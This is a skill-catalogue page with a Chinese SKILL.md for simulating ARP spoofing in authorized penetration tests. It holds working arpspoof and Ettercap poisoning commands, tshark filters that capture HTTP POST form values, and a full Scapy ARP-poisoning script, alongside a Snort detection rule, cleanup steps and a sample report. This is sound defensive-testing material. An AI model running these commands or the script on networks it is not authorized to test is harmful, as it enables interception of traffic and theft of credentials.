La interfaz está localizada; las descripciones y documentos de las Skills se traducen automáticamente con IA a su idioma. El código, los comandos, rutas y términos técnicos se mantienen en el original, y prevalece el documento del autor.
Explorar Skills
Productividad · SKILL.md

performing-arp-spoofing-attack-simulation

performing-arp-spoofing-attack-simulation

在授权的实验室或渗透测试环境中,使用 arpspoof、Ettercap 和 Scapy 模拟 ARP 欺骗攻击, 以演示中间人攻击风险、测试网络检测能力并验证 ARP 检测对策。

Independent GitHub snapshot · Automated classification · Original documentation governs

Documentación de la Skill

GitHub

name: performing-arp-spoofing-attack-simulation description: > 在授权的实验室或渗透测试环境中,使用 arpspoof、Ettercap 和 Scapy 模拟 ARP 欺骗攻击, 以演示中间人攻击风险、测试网络检测能力并验证 ARP 检测对策。 domain: cybersecurity subdomain: network-security tags: [network-security, arp-spoofing, mitm, ettercap, layer2-attack] version: "1.0" author: mahipal license: Apache-2.0

执行 ARP 欺骗攻击模拟

适用场景

  • 测试网络交换机和基础设施是否正确实施了动态 ARP 检测(Dynamic ARP Inspection,DAI)
  • 在授权安全评估中向干系人演示中间人攻击风险
  • 验证网络监控工具(IDS/IPS、SIEM)是否能检测到 ARP 缓存投毒尝试
  • 评估端口安全、802.1X 和 VLAN 分段控制的有效性
  • 培训 SOC 分析师识别网络流量中的 ARP 欺骗指标

不适用于 在没有明确书面授权和回滚方案的情况下对生产网络使用,针对承载关键或生命安全流量的网络使用,或作为拒绝服务攻击向量使用。

前置条件

  • 明确授权文件,指定 ARP 欺骗模拟的目标网络段
  • 安装了 arpspoof、Ettercap 和 Scapy 的 Kali Linux 或同类渗透测试发行版
  • 对目标网络段的直接二层访问(与目标主机在同一 VLAN)
  • 了解 IP 转发,能够在攻击者机器上启用/禁用数据包转发
  • Wireshark 或 tcpdump 用于捕获流量以验证截获效果
  • 隔离的实验室环境或经批准的生产测试窗口

工作流程

步骤 1:枚举目标网络段

# 发现本地子网上的主机
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# 识别默认网关
ip route show default
# 输出:default via 192.168.1.1 dev eth0

# 识别目标主机及其 MAC 地址
arp-scan -l -I eth0

# 验证当前 ARP 表
arp -a

# 记录网关 IP(192.168.1.1)和目标主机 IP(192.168.1.50)
# 记录其合法 MAC 地址用于验证和清理

步骤 2:启用 IP 转发

# 启用 IPv4 转发以在受害者和网关之间中继数据包
sudo sysctl -w net.ipv4.ip_forward=1

# 验证转发已启用
cat /proc/sys/net/ipv4/ip_forward
# 应输出:1

# 可选:防止可能警告受害者的 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0

步骤 3:使用 arpspoof 执行 ARP 欺骗

# 向目标欺骗网关(告诉目标我们是网关)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# 在单独的终端中,向网关欺骗目标(双向)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# 替代方案:使用 Ettercap 进行统一的双向欺骗
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//

步骤 4:捕获和分析截获的流量

# 捕获流经攻击者机器的所有流量
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# 使用 tshark 实时捕获 HTTP 凭据
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# 捕获来自受害者的 DNS 查询
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# 使用 Ettercap 配合密码收集过滤器
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap

步骤 5:使用 Scapy 演示影响(自定义 ARP 数据包)

#!/usr/bin/env python3
"""使用 Scapy 进行 ARP 欺骗演示——仅用于授权安全测试。"""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """通过 ARP 请求将 IP 解析为 MAC 地址。"""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """向目标发送欺骗的 ARP 响应。"""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """恢复合法的 ARP 条目。"""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)
    sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.1.50"
    gateway_ip = "192.168.1.1"
    iface = "eth0"

    target_mac = get_mac(target_ip, iface)
    gateway_mac = get_mac(gateway_ip, iface)

    if not target_mac or not gateway_mac:
        print("[!] 无法解析 MAC 地址。正在退出。")
        sys.exit(1)

    print(f"[*] 目标:{target_ip} ({target_mac})")
    print(f"[*] 网关:{gateway_ip} ({gateway_mac})")
    print("[*] 开始 ARP 欺骗... 按 Ctrl+C 停止。")

    try:
        packets_sent = 0
        while True:
            spoof(target_ip, gateway_ip, target_mac, iface)
            spoof(gateway_ip, target_ip, gateway_mac, iface)
            packets_sent += 2
            print(f"\r[*] 已发送数据包:{packets_sent}", end="")
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] 正在恢复 ARP 表...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
        restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
        print("[*] ARP 表已恢复。正在退出。")

步骤 6:验证检测效果并清理

# 在目标机器上检查 ARP 缓存投毒指标
arp -a | grep 192.168.1.1
# 如果被欺骗,网关 MAC 将与攻击者 MAC 匹配

# 检查 IDS/SIEM 中的 ARP 欺骗告警
# 应触发的 Snort 规则:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
#   threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)

# 停止攻击并恢复 ARP 表
# 对 arpspoof/ettercap 会话按 Ctrl+C

# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 如需手动恢复受影响主机的 ARP 条目:
# 在目标主机:arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# 在网关:arp -d 192.168.1.50 && ping -c 1 192.168.1.50

# 验证合法 MAC 地址已恢复
arp -a

核心概念

术语定义
ARP 缓存投毒(ARP Cache Poisoning)发送伪造 ARP 响应的技术,将攻击者的 MAC 地址与目标 ARP 缓存中其他主机的 IP 地址关联
无故 ARP(Gratuitous ARP)无需对应请求即发送的 ARP 响应,ARP 欺骗工具用此技术以错误条目更新目标的 ARP 缓存
动态 ARP 检测(Dynamic ARP Inspection,DAI)交换机级安全功能,根据 DHCP snooping 绑定数据库验证 ARP 数据包并丢弃无效 ARP 流量
IP 转发(IP Forwarding)内核级设置,允许主机在网络接口间中继数据包,透明中间人截获所需的功能
DHCP Snooping交换机安全功能,构建 IP 到 MAC 到端口映射的可信绑定表,作为 DAI 验证的基础

工具与系统

  • arpspoof(dsniff 套件):发送持续欺骗 ARP 响应以在两个目标之间重定向流量的简单命令行工具
  • Ettercap:支持 ARP 欺骗、DNS 欺骗、内容过滤和凭据捕获的综合中间人攻击套件
  • Scapy:用于精心构造自定义 ARP 数据包,可完全控制所有头字段的 Python 数据包操纵库
  • arp-scan:通过发送 ARP 请求发现本地网络段上所有主机的网络扫描工具
  • Wireshark:用于验证 ARP 欺骗成功和捕获截获流量进行分析的数据包分析器

常见场景

场景:测试企业交换机上动态 ARP 检测的有效性

场景背景:网络团队在所有接入层交换机上部署了 Cisco DAI,需要验证 ARP 欺骗尝试是否被正确检测和阻止。测试在专用 VLAN(VLAN 100)上进行,连接到同一交换机的三台测试主机和一台攻击者机器均已获得授权。

方法:

  1. 记录所有主机的基线 ARP 表以及 DHCP snooping 数据库中的合法 MAC-IP 绑定
  2. 从攻击者机器运行 arpspoof,目标为默认网关和测试工作站
  3. 通过检查 DAI 统计数据验证交换机是否丢弃了欺骗的 ARP 数据包:show ip arp inspection statistics vlan 100
  4. 确认测试工作站的 ARP 缓存仍显示合法的网关 MAC 地址
  5. 临时在测试 VLAN 上禁用 DAI 并重复攻击,确认在没有控制措施时攻击可以成功
  6. 重新启用 DAI 并记录显示控制措施有效的结果
  7. 验证为被阻止和未阻止的攻击尝试均生成了 IDS 告警

常见陷阱:

  • 在没有 DAI 的 VLAN 上运行 ARP 欺骗,意外中断合法流量
  • 忘记启用 IP 转发,导致拒绝服务而非透明截获
  • 测试后未恢复 ARP 表,导致主机保留过时的缓存条目
  • 在中继端口而非接入端口上测试,可能影响多个 VLAN

输出格式

## ARP 欺骗模拟报告

**测试 ID**:NET-ARP-001
**日期**:2024-03-15 14:00-15:00 UTC
**目标 VLAN**:VLAN 100(192.168.1.0/24)
**攻击者**:192.168.1.99(AA:BB:CC:DD:EE:FF)
**目标**:192.168.1.50(00:11:22:33:44:55)
**网关**:192.168.1.1(00:AA:BB:CC:DD:01)

### 测试结果

| 测试 | DAI 状态 | ARP 欺骗结果 | 流量被截获 |
|------|------------|-------------------|---------------------|
| 测试 1 | 已启用 | 已阻止(交换机丢弃 847 个数据包) | 否 |
| 测试 2 | 已禁用 | 成功(目标 ARP 缓存被投毒) | 是 - 23 个 HTTP 会话 |
| 测试 3 | 已重新启用 | 已阻止 | 否 |

### 检测覆盖
- DAI:通过 - 启用时丢弃所有欺骗的 ARP 响应
- IDS(Snort):通过 - 15 秒内生成告警 SID:1000010
- SIEM:通过 - 2 分钟内告警已关联并升级

### 建议
1. 在所有接入 VLAN 上保持启用 DAI(当前在 VLAN 200、210 上已禁用)
2. 启用 DHCP snooping 速率限制以防止 DHCP 耗尽攻击
3. 部署 802.1X 端口认证以补充 ARP 检测
Skills guardadas